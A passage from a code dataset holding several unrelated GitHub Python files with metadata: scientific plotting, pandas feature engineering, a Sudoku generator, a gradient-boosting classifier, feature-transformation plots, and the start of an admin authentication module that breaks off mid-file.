'sh')\r\n sh_heights += np.ndarray.tolist( H)\r\n sh_cases += 1\r\n\r\n # create histograms for every TC intensity\r\n # put things in lists for easier looping\r\n fig_title = [ 'tropical-depressions', 'tropical-storms', 'weak-hurricanes', 'strong-hurricanes']\r\n # nicely formatted titles for plots, as opposed to saving\r\n fig_title_nice = [ 'Tropical Depressions', 'Tropical Storms', 'Weak Hurricanes', 'Strong Hurricanes']\r\n\r\n cases = [ td_cases, ts_cases, wh_cases, sh_cases]\r\n heights = [ td_heights, ts_heights, wh_heights, sh_heights]\r\n # loop through each case\r\n for i in range( 4):\r\n height = np.array( heights[ i])\r\n\r\n # make pretty figures for csu poster conference!\r\n if csu_poster_case:\r\n\r\n # remove 0 km heights from figure!\r\n plot_height = height[ np.where( height > .05)[0] ]\r\n\r\n # no cases for this category (only applies to td's because Fred case hasn't been added yet)\r\n if len( height) != 0:\r\n\r\n helper_fns.change_font_sizes(small=24, medium=24 )\r\n fig, a0 = plt.subplots(1, 1, figsize=( 8.5, 7) )\r\n\r\n # set the figure background (not plot background!) to transparent!!\r\n fig.patch.set_facecolor('blue')\r\n fig.patch.set_alpha(0)\r\n\r\n # create a histogram\r\n plt.sca( a0)\r\n\r\n # sns.displot( x=height, kind='kde')\r\n sns.set_theme(style=\"white\", palette=None)\r\n\r\n # the line below was probs causing the annoying lack of plot space!!!\r\n # sns.set_context(rc = {'patch.linewidth': 0.0})\r\n sns.histplot( y= plot_height, kde=True, binwidth=.175, edgecolor='k', linewidth=2, color = 'g') # color = 'g', element='poly') # hist_kws=dict(edgecolor=\"black\", linewidth=2))\r\n a0.set_xlabel( 'Count for Each Cloud Height')\r\n a0.set_ylabel( 'Height from Surface (Km)')\r\n a0.set_title( \"Cloud Height Distribution for \" + fig_title_nice[ i], fontsize=24)\r\n a0.set_ylim( [-.2, 3.75])\r\n a0.set_xlim( [0, 200])\r\n a0.grid(True)\r\n\r\n # save the histogram\r\n os.chdir( \"/Users/etmu9498/research/figures/csu-poster/\")\r\n if no_eyewalls:\r\n plt.savefig( fig_title[i] + \"-no-eyewalls.png\", bbox_inches='tight', dpi=500, transparent=False )\r\n else:\r\n plt.savefig( fig_title[i] + \"-new.png\", bbox_inches='tight', dpi=500, transparent=False )\r\n print( fig_title[i] + ' figure created.')\r\n\r\n else:\r\n print( \"The tropical depression case hasn't yet been added!\")\r\n continue\r\n\r\n # normal figure creation case\r\n else:\r\n # no cases for this category (only applies to td's because Fred case hasn't been added yet)\r\n if len( height) != 0:\r\n fig, (a0, a1) = plt.subplots(2, 1, gridspec_kw={'height_ratios': [4, 1]}, figsize=(10, 12), facecolor='w')\r\n\r\n helper_fns.change_font_sizes(small=18, medium=18 )\r\n\r\n # create a histogram\r\n plt.sca( a0)\r\n\r\n # sns.displot( x=height, kind='kde')\r\n sns.set_theme(style=\"white\", palette=None)\r\n sns.set_context(rc = {'patch.linewidth': 0.0})\r\n sns.histplot( y=height, kde=True, bins=25, color = 'y')\r\n a0.set_xlabel( 'Count of Given Cloud Height')\r\n a0.set_ylabel( 'Height from Surface (Km)')\r\n a0.set_title( \"Histogram of All Cloud Heights for \" + fig_title_nice[ i])\r\n a0.set_ylim( [-.2, 3.5])\r\n a0.set_xlim( [0, 250])\r\n a0.grid(True)\r\n a0.axhline( y=height.mean(), c='g', label=\"Mean height value\", linewidth=3)\r\n a0.axhline( y=np.median(height), c='b', label=\"Median height value\", linewidth=3)\r\n a0.legend(loc='upper right')\r\n\r\n '''\r\n # a0.set_xlim( [0, 1.3])\r\n sns.distplot( height, bins=25, hist=True, vertical=True, color='y')\r\n a0.set_xlabel( 'Probability of a Given Height Occurence')\r\n '''\r\n\r\n # print out some useful statistics\r\n plot_height = height[ np.where( height > .05)[0] ]\r\n clear_points = len( height[ np.where( height < .05)[0] ])\r\n\r\n a1.text( 0, 1, (\"Number of data points: \" + str( len( height))))\r\n a1.text( 0, .8, (\"Number of clear air points: \" + str( clear_points )))\r\n # a1.text( 0, .8, (\"Height value range: \" + str( height.min()) + \" km to \" + str( height.max()) + \" km\"))\r\n a1.text( 0, .6, (\"Height value mean (no clear air): \" + str( plot_height.mean()) + \" km\"))\r\n # a1.text( 0, .3, (\"Height value median: \" + str( np.median( height)) + \" km\\n\"))\r\n a1.text( 0, .3, (\"clear air fraction: \" + str( 100 * ( clear_points / len(height) ))))\r\n a1.text( 0, .2, (\"Number of eye passes: \" + str( cases[ i])))\r\n a1.set_axis_off()\r\n # save the histogram\r\n os.chdir( \"/Users/etmu9498/research/figures/prob-dist-results/pdfs-intensity/\")\r\n if no_eyewalls:\r\n plt.savefig( fig_title[i] + \"-no-eyewalls.png\", bbox_inches='tight', dpi=300 )\r\n else:\r\n plt.savefig( fig_title[i] + \"-new.png\", bbox_inches='tight', dpi=300 )\r\n print( fig_title[i] + ' figure created.')\r\n\r\n else:\r\n print( \"The tropical depression case hasn't yet been added!\")\r\n continue\r\n","repo_name":"ethanmur/tc-research","sub_path":"code/scripts/statistics/cloud_height_pdfs_in_situ.py","file_name":"cloud_height_pdfs_in_situ.py","file_ext":"py","file_size_in_byte":23610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"36526817503","text":"# -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport numpy as np\n\ndef generar_cantidades(ruta, nombre):\n entrenamiento = pd.read_csv(ruta)\n \n vistas = pd.read_csv('../../datos_preprocesados/fiuba_3_vistas.csv')\n vistas = vistas[['idAviso','idpostulante']]\n \n cant_vistas = vistas.groupby(['idAviso', 'idpostulante']).size().reset_index(name='cant_vistas')\n entrenamiento = pd.merge(entrenamiento, cant_vistas, left_on=['idaviso','idpostulante'], right_on = ['idAviso', 'idpostulante'], how='left')\n entrenamiento = entrenamiento.drop(axis=1, labels=['idAviso'])\n entrenamiento = entrenamiento.fillna(0, axis=1)\n \n empresa_area = pd.read_csv('../../datos_preprocesados/fiuba_6_avisos_detalle.csv', usecols=['idaviso','denominacion_empresa','nombre_area'])\n vistas = pd.merge(vistas, empresa_area, left_on='idAviso', right_on='idaviso')\n vistas = vistas.drop(labels='idAviso', axis=1)\n \n cant_vistas_empresa = (vistas[['idpostulante', 'denominacion_empresa']]).groupby(['idpostulante', 'denominacion_empresa']).size().reset_index(name='cant_vistas_empresa')\n \n empresas = empresa_area[['idaviso','denominacion_empresa']]\n entrenamiento = pd.merge(entrenamiento,empresas, on='idaviso')\n entrenamiento = pd.merge(entrenamiento, cant_vistas_empresa, on=['idpostulante','denominacion_empresa'], how='left')\n entrenamiento = entrenamiento.fillna(0, axis=1)\n \n cant_vistas_area = (vistas[['idpostulante', 'nombre_area']]).groupby(['idpostulante', 'nombre_area']).size().reset_index(name='cant_vistas_area')\n \n areas = empresa_area[['idaviso','nombre_area']]\n entrenamiento = pd.merge(entrenamiento, areas, on='idaviso')\n \n entrenamiento = pd.merge(entrenamiento, cant_vistas_area, on=['idpostulante','nombre_area'], how='left')\n entrenamiento = entrenamiento.fillna(0, axis=1)\n \n postulaciones = pd.read_csv('../../tmp/set_entrenamiento.csv') # El set tiene filtrado que avisos se vieron y que avisos se postularon.\n postulaciones = postulaciones[postulaciones['sepostulo'] == 1]\n postulaciones = postulaciones.drop(labels='sepostulo', axis = 1)\n postulaciones = pd.merge(postulaciones, empresa_area, on='idaviso')\n \n cant_postulaciones_empresa = (postulaciones[['idpostulante', 'denominacion_empresa']]).groupby(['idpostulante', 'denominacion_empresa']).size().reset_index(name='cant_postulaciones_empresa')\n entrenamiento = pd.merge(entrenamiento, cant_postulaciones_empresa, on=['idpostulante','denominacion_empresa'], how='left')\n entrenamiento = entrenamiento.fillna(0, axis=1)\n entrenamiento = entrenamiento.drop(labels='denominacion_empresa',axis=1)\n \n cant_postulaciones_area = (postulaciones[['idpostulante', 'nombre_area']]).groupby(['idpostulante', 'nombre_area']).size().reset_index(name='cant_postulaciones_area')\n entrenamiento = pd.merge(entrenamiento, cant_postulaciones_area, on=['idpostulante','nombre_area'], how='left')\n entrenamiento = entrenamiento.fillna(0, axis=1)\n entrenamiento = entrenamiento.drop(labels='nombre_area',axis=1)\n \n entrenamiento['cant_vistas'] = entrenamiento['cant_vistas'].astype('int64')\n entrenamiento['cant_vistas_empresa'] = entrenamiento['cant_vistas_empresa'].astype('int64')\n entrenamiento['cant_vistas_area'] = entrenamiento['cant_vistas_area'].astype('int64')\n entrenamiento['cant_postulaciones_empresa'] = entrenamiento['cant_postulaciones_empresa'].astype('int64')\n entrenamiento['cant_postulaciones_area'] = entrenamiento['cant_postulaciones_area'].astype('int64')\n \n ruta_salida = '../../datos_procesados/' + nombre\n entrenamiento.to_csv(ruta_salida, index=False)\n \n#generar_cantidades('../../test_final_100k.csv','to_kaggle.csv')\n#generar_cantidades('../../tmp/set_entrenamiento.csv','entrenamiento.csv')\ngenerar_cantidades('../../tmp/set_no_postulados.csv','no_postulados.csv')\n","repo_name":"sportelliluciano/tp2-orga-datos-1c2018","sub_path":"laburo_previo/franco/generacion_cantidades.py","file_name":"generacion_cantidades.py","file_ext":"py","file_size_in_byte":3887,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2403250277","text":"#cython: language_level=3\n##\n##\tNP(Number Place) Solution Module\n##\n##\tsolve a Number Place problem with basic mdthods.\n##\n##(c) 2019-2021 FUJIWARA Hirofumi, Knowledge Engineering Center, Time Intermedia, Inc.\n## This code is licensed under MIT license (see LICENSE.txt for details)\n\nimport parameter\nimport random\nimport sys\nimport NP\nimport numpy as np\nimport parameter\n\nSIZE = parameter.SIZE\nSUBSIZE = parameter.SUBSIZE\n\nREPLACE = 10\n\nboard = np.array( [ [6,9,5, 3,4,1, 8,7,2], \n [7,2,3, 9,8,5, 4,6,1],\n [8,4,1, 6,2,7, 5,3,9],\n [5,1,6, 8,3,2, 9,4,7],\n [9,3,7, 1,6,4, 2,5,8],\n [2,8,4, 7,5,9, 6,1,3],\n [1,7,2, 4,9,6, 3,8,5],\n [3,6,9, 5,1,8, 7,2,4],\n [4,5,8, 2,7,3, 1,9,6]])\n\ndef getANewSolution():\n for i in range(REPLACE):\n line1 = random.randrange(SIZE)\n line2 = line1+1\n if line2 % SUBSIZE == 0:\n line2 -= SUBSIZE\n if i % 2 == 0:\n exchangeVline( line1, line2 )\n else:\n exchangeHline( line1, line2 )\n return board\n\ndef exchangeHline( r1, r2 ):\n for c in range(SIZE):\n board[r2][c], board[r1][c] = board[r1][c], board[r2][c]\n\ndef exchangeVline( c1, c2 ):\n for r in range(SIZE):\n board[r][c2], board[r][c1] = board[r][c1], board[r][c2]\n\n## main for test -------------------------------------------------\ndef main():\n for i in range(10):\n bd = getANewSolution()\n print(\"No.\",i)\n NP.printBoard(sys.stdout,bd)\n\nif __name__ == '__main__':\n main()\n\n \n","repo_name":"timedia/puzzle-generator-py","sub_path":"src/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"17988658295","text":"# AoC 2015 - Day 6\n\ndef load_data():\n with open('input.txt', 'r') as infile:\n indata = [x.split() for x in infile]\n\n return [(x[-4], x[-3], x[-1]) for x in indata]\n\ndef count_lights(instrs):\n display = set()\n for instr in instrs:\n cmd, coords1, coords2 = instr\n xstart, ystart = coords1.split(',')\n xend, yend = coords2.split(',')\n for xpos in range(int(xstart), int(xend) + 1):\n for ypos in range(int(ystart), int(yend) + 1):\n if cmd == 'on' or (cmd == 'toggle' and (xpos, ypos) not in display):\n display.add((xpos, ypos))\n elif cmd == 'off' or (cmd == 'toggle' and (xpos, ypos) in display):\n display.discard((xpos, ypos))\n return len(display)\n\ndef main():\n data = load_data()\n #testdata = [('on', '0,0', '999,999'), ('toggle', '0,0', '999,0'), ('off', '499,499', '500,500')]\n #assert count_lights(testdata) == 998996\n print(count_lights(data))\n\nif __name__ == '__main__':\n main()\n","repo_name":"Azcobu/advent-of-code","sub_path":"2015/day06/aoc15-6a.py","file_name":"aoc15-6a.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11877075264","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 10 13:56:54 2021\n\n@author: John Leeds\n\nSpecial thanks to John Zelle for graphics.py\n\nBackground image source:\nwallpaperaccess.com/1280-x-720-cool\n\nThis files runs the game repeatedly until exited.\n\"\"\"\nfrom games import *\nfrom rubikscubeUI import Menu\n \ndef main():\n \n flag = True\n while flag:\n menu = Menu()\n mode = menu.mainMenu()\n game = Play(mode)\n stats = game.play()\n if stats != False: # exit button not clicked\n flag = menu.endScreen(stats[0], stats[1])\n else:\n break\n\nif __name__ == \"__main__\":\n main()","repo_name":"LeedsJohn/Rubiks-Cube","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35932919368","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.ensemble import GradientBoostingClassifier\nfrom sklearn.metrics import classification_report, confusion_matrix, roc_auc_score, accuracy_score\n\nfrom plot import plot_auc\n\n\ndef gbm(train_dataset, test_dataset, eval_dataset, selected_features):\n X_test = test_dataset.drop(columns=[\"status\"])\n y_test = test_dataset.iloc[:, -1]\n X_train = train_dataset.drop(columns=[\"status\"])\n y_train = train_dataset.iloc[:, -1]\n\n X_train = X_train[selected_features]\n X_test = X_test[selected_features]\n\n X_test = X_test.values\n y_test = y_test.values\n X_train = X_train.values\n y_train = y_train.values\n\n scaler = StandardScaler()\n\n # X_train, y_train = .fit_resample(X_train, y_train)\n scaler.fit(X_train)\n\n X_train = scaler.transform(X_train)\n X_test = scaler.transform(X_test)\n\n gbc = GradientBoostingClassifier(max_depth=15, random_state=0)\n gbc.fit(X_train, y_train)\n\n y_pred = gbc.predict(X_test)\n predictions = [round(value) for value in y_pred]\n accuracy = accuracy_score(y_test, predictions)\n\n print(str(confusion_matrix(y_test, y_pred)))\n print(str(classification_report(y_test, y_pred, zero_division=0)))\n print(f\"AUC: {roc_auc_score(y_test, y_pred)}\")\n print(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\n plot_auc(gbc, X_test, y_test, \"gbm\")\n\n X_eval = eval_dataset.drop(columns=[\"status\"])\n X_eval = X_eval[selected_features].values\n X_eval = scaler.transform(X_eval)\n\n id_array = map(lambda x: int(x), eval_dataset.index.values)\n y_pred = map(lambda x: int(x), gbc.predict(X_eval))\n\n result = pd.DataFrame({\n 'Id': id_array,\n 'Predicted': y_pred\n })\n\n return result\n","repo_name":"Raidenkyu/FEUP-ECAC","sub_path":"src/gbm.py","file_name":"gbm.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8220883630","text":"from typing import List, Dict, Tuple, Optional\nimport pandas as pd\nimport numpy as np\nfrom scipy import stats\nfrom plotly.subplots import make_subplots\nfrom feature_engine import variable_transformers as vt\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nimport plotly.graph_objects as go\nimport plotly.express as px\n\n# Define Color pallete\ncolors = px.colors.qualitative.G10\n\n\ndef _get_numerical_feature_info(dataframe: pd.DataFrame, column: str) -> Dict:\n \"\"\"Generate statistical metrics for a feature in dataframe.\"\"\"\n dict_info = {\n 'Missing Values': dataframe[column].isnull().mean().round(2),\n 'Mean': dataframe[column].mean().round(2),\n 'Median': dataframe[column].median().round(2),\n 'Std': dataframe[column].std().round(2),\n 'Skew': dataframe[column].skew().round(2),\n 'Kurtosis': dataframe[column].kurtosis().round(2),\n }\n return dict_info\n\n\ndef _get_table_trace(dict_feature_info: Dict, distribution: str) -> go.Table:\n \"\"\"Generate table plotly trace from a feature dictionary.\"\"\"\n trace = go.Table(\n header=dict(values=[distribution], font=dict(color='navy', size=16),),\n cells=dict(\n values=[\n list(dict_feature_info.keys()),\n list(dict_feature_info.values()),\n ],\n font=dict(color='black', size=12),\n ),\n )\n\n return trace\n\n\ndef _get_qqplot_trace(\n df: pd.DataFrame, column: str, **kwargs\n) -> Tuple[go.Scatter, go.Scatter]:\n \"\"\"Generate QQ-Plots traces.\"\"\"\n qq = stats.probplot(df[column], dist='lognorm', sparams=(1))\n x = np.array([qq[0][0][0], qq[0][0][-1]])\n\n trace_markers = go.Scatter(\n x=qq[0][0], y=qq[0][1], mode='markers', **kwargs\n )\n trace_line = go.Scatter(\n x=x, y=qq[1][1] + qq[1][0] * x, mode='lines', **kwargs\n )\n return trace_markers, trace_line\n\n\ndef _get_histogram_trace(\n df: pd.DataFrame, column: str, **kwargs\n) -> go.Histogram:\n \"\"\"Generate histogram traces for feature on dataframe.\"\"\"\n return go.Histogram(x=df[column], **kwargs) # nbinsx=nbins, )\n\n\ndef _transform_numerical_feature(\n df: pd.DataFrame, feature: str\n) -> pd.DataFrame:\n \"\"\"Perform numerical transformations on a feature from dataframe.\"\"\"\n # Validate for numeric\n df_filtered = df[df[feature].notnull()][[feature]]\n df_out = df_filtered.copy()\n\n # Perform transformations\n transformer_log = vt.LogTransformer(variables=[feature])\n transformer_rec = vt.ReciprocalTransformer(variables=[feature])\n transformer_pow = vt.PowerTransformer(variables=[feature], exp=2)\n transformer_sqrt = vt.PowerTransformer(variables=[feature], exp=0.5)\n transformer_bc = vt.BoxCoxTransformer(variables=[feature])\n transformer_yj = vt.YeoJohnsonTransformer(variables=[feature])\n\n # Perform transformations\n try:\n df_out[f'{feature}_log'] = transformer_log.fit_transform(df_filtered)\n except ValueError:\n df_out[f'{feature}_log'] = transformer_log.fit_transform(\n df_filtered[df_filtered[feature] > 0]\n )\n\n try:\n df_out[f'{feature}_reciprocal'] = transformer_rec.fit_transform(\n df_filtered\n )\n except ValueError:\n df_out[f'{feature}_reciprocal'] = transformer_rec.fit_transform(\n df_filtered[df_filtered[feature] > 0]\n )\n\n df_out[f'{feature}_power'] = transformer_pow.fit_transform(df_filtered)\n df_out[f'{feature}_sqrt'] = transformer_sqrt.fit_transform(df_filtered)\n try:\n df_out[f'{feature}_boxcox'] = transformer_bc.fit_transform(df_filtered)\n\n except ValueError:\n df_out[f'{feature}_boxcox'] = transformer_bc.fit_transform(\n df_filtered[df_filtered[feature] > 0]\n )\n\n df_out[f'{feature}_yeojohnson'] = transformer_yj.fit_transform(df_filtered)\n\n return df_out\n\n\ndef _create_feature_subplots_new(dataframe, feature, plot_size=(1200, 800)):\n #\n width, height = plot_size\n df_tranformed = _transform_numerical_feature(dataframe, feature)\n\n # Initialize figure with subplots\n fig = make_subplots(\n rows=6,\n cols=4,\n column_widths=[0.4, 0.2, 0.2, 0.2],\n # row_heights=[0.4, 0.6],\n specs=[\n [\n {\"type\": \"table\"},\n {\"type\": \"table\"},\n {\"type\": \"table\"},\n {\"type\": \"table\"},\n ],\n [\n {\"type\": \"histogram\", \"rowspan\": 2},\n {\"type\": \"histogram\"},\n {\"type\": \"histogram\"},\n {\"type\": \"histogram\"},\n ],\n [\n None,\n {\"type\": \"scatter\"},\n {\"type\": \"scatter\"},\n {\"type\": \"scatter\"},\n ],\n [\n {\"type\": \"scatter\", \"rowspan\": 2},\n {\"type\": \"table\"},\n {\"type\": \"table\"},\n {\"type\": \"table\"},\n ],\n [\n None,\n {\"type\": \"histogram\"},\n {\"type\": \"histogram\"},\n {\"type\": \"histogram\"},\n ],\n [\n None,\n {\"type\": \"scatter\"},\n {\"type\": \"scatter\"},\n {\"type\": \"scatter\"},\n ],\n ],\n )\n\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(df_tranformed, feature), 'Original'\n ),\n row=1,\n col=1,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(df_tranformed, f'{feature}_log'), 'Log'\n ),\n row=1,\n col=2,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(df_tranformed, f'{feature}_power'),\n 'Power 2',\n ),\n row=1,\n col=3,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(df_tranformed, f'{feature}_sqrt'),\n 'SquareRoot',\n ),\n row=1,\n col=4,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(\n df_tranformed, f'{feature}_reciprocal'\n ),\n 'Reciprocal',\n ),\n row=4,\n col=2,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(df_tranformed, f'{feature}_boxcox'),\n 'Box-Cox',\n ),\n row=4,\n col=3,\n )\n fig.add_trace(\n _get_table_trace(\n _get_numerical_feature_info(\n df_tranformed, f'{feature}_yeojohnson'\n ),\n 'Yeo-Johnson',\n ),\n row=4,\n col=4,\n )\n\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed, feature, name='Original', marker_color=colors[0]\n ),\n row=2,\n col=1,\n )\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed, f'{feature}_log', name='Log', marker_color=colors[1]\n ),\n row=2,\n col=2,\n )\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed,\n f'{feature}_power',\n name='Power',\n marker_color=colors[2],\n ),\n row=2,\n col=3,\n )\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed,\n f'{feature}_sqrt',\n name='SquareRoot',\n marker_color=colors[3],\n ),\n row=2,\n col=4,\n )\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed,\n f'{feature}_reciprocal',\n name='Reciprocal',\n marker_color=colors[4],\n ),\n row=5,\n col=2,\n )\n\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed,\n f'{feature}_boxcox',\n name='Box-Cox',\n marker_color=colors[5],\n ),\n row=5,\n col=3,\n )\n fig.add_trace(\n _get_histogram_trace(\n df_tranformed,\n f'{feature}_yeojohnson',\n name='Yeo-Johnson',\n marker_color=colors[6],\n ),\n row=5,\n col=4,\n )\n\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n feature,\n name='Q-Q Plot Original',\n marker_color=colors[0],\n )[0],\n row=4,\n col=1,\n )\n fig.add_trace(\n _get_qqplot_trace(df_tranformed, feature, marker_color='black',)[1],\n row=4,\n col=1,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_log',\n name='Q-Q Plot Log',\n marker_color=colors[1],\n )[0],\n row=3,\n col=2,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_log', marker_color='black',\n )[1],\n row=3,\n col=2,\n )\n\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_power',\n name='Q-Q Plot Power 2',\n marker_color=colors[2],\n )[0],\n row=3,\n col=3,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_power', marker_color='black',\n )[1],\n row=3,\n col=3,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_sqrt',\n name='Q-Q Plot SquareRoot',\n marker_color=colors[3],\n )[0],\n row=3,\n col=4,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_sqrt', marker_color='black',\n )[1],\n row=3,\n col=4,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_reciprocal',\n name='Q-Q Plot Reciprocal',\n marker_color=colors[4],\n )[0],\n row=6,\n col=2,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_reciprocal', marker_color='black',\n )[1],\n row=6,\n col=2,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_boxcox',\n name='Q-Q Plot Box-Cox',\n marker_color=colors[5],\n )[0],\n row=6,\n col=3,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_boxcox', marker_color='black',\n )[1],\n row=6,\n col=3,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed,\n f'{feature}_yeojohnson',\n name='Q-Q Plot Yeo-Johnson',\n marker_color=colors[6],\n )[0],\n row=6,\n col=4,\n )\n fig.add_trace(\n _get_qqplot_trace(\n df_tranformed, f'{feature}_yeojohnson', marker_color='black',\n )[1],\n row=6,\n col=4,\n )\n\n fig.update_layout(\n title_text=f\"Normality Analysis for feature: {feature}\",\n title_font_family=\"Arial\",\n title_font_size=28,\n width=width,\n height=height,\n showlegend=False,\n )\n\n return fig\n\n\ndef _get_transformation(col_name: str) -> str:\n transf_type = col_name.split('_')\n try:\n return transf_type[1]\n except:\n return 'original'\n\n\nclass DatasetTransformer:\n def __init__(self, X, target, target_type, dict_dtypes):\n\n self.X = X\n self.dict_dtypes = dict_dtypes\n self.dict_transformed_feats = {}\n self.X_train = None\n self.X_test = None\n self.X_train_tranformed = None\n self.X_test_tranformed = None\n self.transformation_pipeline = None\n\n def plot_numerical_feature_info(\n self, feature: str, scaler=None, plot_size: Tuple = (1200, 800),\n ):\n \"\"\"Plot general info and transformations for an specific feature.\n\n Parameters\n ----------\n\n feature : str\n \"\"\"\n df_transformed = _transform_numerical_feature(self.X, feature)\n\n if scaler:\n df_transformed = pd.DataFrame(\n scaler.fit_transform(df_transformed),\n columns=df_transformed.columns,\n )\n\n # Initialize figure with subplots\n fig = _create_feature_subplots_new(df_transformed, feature, plot_size)\n fig.show()\n\n def plot_categorical_features(self):\n pass\n\n def transformed_and_select_features(self):\n pass\n","repo_name":"GabrielSGoncalves/feature_engineering_study","sub_path":"HandsOnPythonCode/Section-13-Putting-it-altogether/feature_explorer.py","file_name":"feature_explorer.py","file_ext":"py","file_size_in_byte":12401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30776291655","text":"\"\"\"\n@Author: Dominique A Ramirez\n@Date: 2022 09 14\n@Title: plot_clusterhistogram.py\n\n@Description: This script is a general script to plot cluster distributions from single simulation runs. The\nanalysis typically comes from gmx clustsize\n\n@Updates:\n\n\"\"\"\n\nimport argparse\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nparser = argparse.ArgumentParser(description=\"Plotting tool for plotting cluster size distributions from \"\n \"single simulations!\")\nparser.add_argument('-f', help=\"Input .csv file for analysis. Usually this comes after 'gmx clustsize'. INCLUDE\"\n \" EXTENSION!\", required=True)\nparser.add_argument('-o', help=\"Name of the output png file.\", default=\"clusthisto_plot.png\")\nparser.add_argument('-color', help=\"Specify the color to use for the plot.\", default=\"blue\")\nparser.add_argument('-nmodels', help=\"The number of models in the system.\", required=True, type=int)\nparser.add_argument(\"-title\", help=\"A title for your plot, if you so desire\")\n\nargs = parser.parse_args()\n\n\n# parse through the file\nx_axis = []\nprobabilities = []\nwith open(args.f, \"r\") as f:\n for line in f:\n if line[0] == \"#\" or line[0] == \"@\":\n continue\n else:\n line_split = line.rstrip(\"\\n\").split(\",\")\n x_axis.append(int(line_split[0]))\n probabilities.append((int(line_split[0]) * float(line_split[1])) / args.nmodels)\n\nfig, ax = plt.subplots()\nax.plot(x_axis, probabilities, color=args.color, linestyle=\"-\", linewidth=2)\nplt.xlim(0, args.nmodels+1)\nplt.ylim(0, 1)\nplt.yticks(ticks=[0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0])\nplt.xticks(np.arange(0, args.nmodels+1, 2))\nplt.title(args.title)\nplt.grid(color=\"black\", linestyle=\":\", alpha=0.25)\nplt.xlabel(\"Cluster size\")\nplt.ylabel(\"Probability\")\n\nplt.savefig(args.o, dpi=300)\n","repo_name":"dora1300/code","sub_path":"code/PlottingUtils/plot_clusterhistogram.py","file_name":"plot_clusterhistogram.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24028969967","text":"\"\"\"\n handle users and admin authentication\n\"\"\"\n__developer__ = \"mobius-crypt\"\n__email__ = \"mobiusndou@gmail.com\"\n__twitter__ = \"@blueitserver\"\n__github_repo__ = \"https://github.com/freelancing-solutions/memberships-and-affiliate-api\"\n__github_profile__ = \"https://github.com/freelancing-solutions/\"\n__licence__ = \"MIT\"\n\nimport datetime\nimport hmac\nfrom functools import wraps\nfrom typing import Optional\n\nimport jwt\nimport requests\nfrom flask import current_app, request, url_for, flash\n\nfrom backend.src.cache_manager.cache_manager import cache_man\nfrom backend.src.custom_exceptions.exceptions import UnAuthenticatedError\nfrom backend.src.security.apps_authenticator import app_auth_micro_service\nfrom backend.src.utils import return_ttl, is_development\nfrom config import config_instance\n\n\nclass AdminAuth:\n\n def get_admin_user(self) -> dict:\n \"\"\"\n **get_admin_user**\n return admin_user - uses include on development server\n\n :return: dict\n \"\"\"\n _endpoint: str = '_api/v1/admin/users/get'\n _base_url: str = config_instance.ADMIN_APP_BASEURL\n _url: str = f'{_base_url}{_endpoint}'\n _secret_key: str = config_instance.SECRET_KEY\n _auth_token: str = self.encode_auth_token(uid=_secret_key)\n _organization_id: str = config_instance.ORGANIZATION_ID\n _uid: str = config_instance.ADMIN_UID\n\n app_token: str = app_auth_micro_service.auth_token\n domain: str = request.headers.get('Origin')\n\n user_data: dict = dict(SECRET_KEY=_secret_key, auth_token=_auth_token,\n organization_id=_organization_id, uid=_uid, app_token=app_token, domain=domain)\n\n _headers = dict(content_type='application/json', domain=config_instance.ADMIN_APP_BASEURL)\n response = requests.post(url=_url, json=user_data, headers=_headers)\n\n response_data: dict = response.json()\n\n if response_data.get('status') is True:\n return response_data.get('payload')\n return None\n\n @staticmethod\n def get_config_admin_user_details() -> tuple:\n \"\"\"\n **get_config_admin_user_details**\n return admin user details from config_instance\n 